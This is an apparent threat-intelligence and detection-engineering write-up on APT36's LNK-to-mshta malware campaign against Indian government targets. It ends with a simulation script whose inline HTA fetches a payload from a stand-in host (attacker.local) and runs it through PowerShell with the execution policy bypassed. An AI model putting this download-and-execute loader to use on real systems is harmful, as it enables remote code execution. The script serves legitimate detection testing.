APT36 : Multi-Stage LNK Malware Campaign Targeting Indian Government Entities

Summary

APT36 (Transparent Tribe) ran a spear-phishing campaign that delivered a malicious LNK shortcut masquerading as a PDF. When opened, the shortcut launches mshta.exe to execute an HTA-based loader that decrypts and runs payloads in memory, including a configuration module and a full-featured RAT DLL. The malware dynamically selects persistence methods based on the victim’s installed antivirus product and connects to its command-and-control server over an encrypted channel. The activity is assessed as espionage-focused, targeting Indian government and academic organizations to steal data.

Investigation

Researchers analyzed the unusually large LNK file, traced the embedded HTA content hosted on innlive.in, and reverse engineered the decryption logic. The chain revealed two primary stages: a .NET deserialization payload used to weaken or bypass security checks, followed by a fileless malicious DLL (e.g., ki2mtmkl.dll / iinneldc.dll) providing RAT functionality. Persistence behavior was mapped to specific antivirus products, and key C2 details—such as TCP port 8621 and an AES key used for encrypted traffic—were extracted during analysis.

Mitigation

Restrict or quarantine shortcut (.lnk) attachments delivered via email, particularly when packed in ZIP archives. Apply application-control policies to limit execution of mshta.exe, PowerShell, and other scripting engines from user-writable paths. Use endpoint detections for process chains involving mshta.exe and indicators of in-memory DLL execution, and enforce tight egress controls to block communication with unknown or untrusted domains.

Response

If suspicious LNK execution is detected, isolate the system, capture memory images, and hunt for in-memory DLL indicators tied to the RAT stage. Block identified malicious domains and related IP infrastructure, and rotate potentially exposed credentials. Perform forensic review to locate persistence artifacts in the Startup folder and registry, remove them, and validate that no additional footholds remain.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:
  An adversary has gained low‑privilege PowerShell access on a compromised workstation. To execute a remote payload without writing an executable to disk, the attacker uses mshta.exe to run an HTA file that pulls a PowerShell back‑door from a C2 server. The steps are:

  1. Encode a minimal malicious HTA that launches PowerShell to download and execute a payload.
  2. Host the HTA on a web server (e.g., http://attacker.local/malicious.hta).
  3. From the compromised PowerShell session, invoke mshta.exe with the remote URL as an argument.

  This chain creates a process‑creation event where mshta.exe is the child of powershell.exe, precisely matching the Sigma rule.

• Regression Test Script:

  #-------------------------------------------------
  # Simulated attacker script – triggers the rule
  #-------------------------------------------------
  
  # 1. Define the malicious HTA (inline for demo purposes)
  $htaContent = @"
  <script>
      // Download and execute a dummy PowerShell payload
      var url = 'http://attacker.local/payload.ps1';
      var xhr = new ActiveXObject('Microsoft.XMLHTTP');
      xhr.open('GET', url, false);
      xhr.send();
      var ps = new ActiveXObject('WScript.Shell');
      ps.Run('powershell -NoProfile -ExecutionPolicy Bypass -Command "' + xhr.responseText + '"', 0, false);
  </script>
  "@
  
  # 2. Write HTA to temporary location (simulating a hosted file)
  $tempPath = "$env:TEMPmalicious.hta"
  $htaContent | Set-Content -Path $tempPath -Encoding ASCII
  
  # 3. Launch mshta.exe from PowerShell (the detection trigger)
  $mshta = (Get-Command mshta.exe).Source
  Write-Host "[*] Launching mshta.exe to execute the HTA payload..."
  Start-Process -FilePath $mshta -ArgumentList "`"$tempPath`"" -NoNewWindow
  
  # Optional: Sleep to allow the event to be captured
  Start-Sleep -Seconds 5
  
  # Clean‑up (handled in the next section)

• Cleanup Commands:

  # Remove temporary HTA file
  Remove-Item -Path "$env:TEMPmalicious.hta" -Force -ErrorAction SilentlyContinue
  
  # Stop any lingering mshta.exe processes (unlikely after normal execution)
  Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force
  
  Write-Host "[*] Cleanup complete."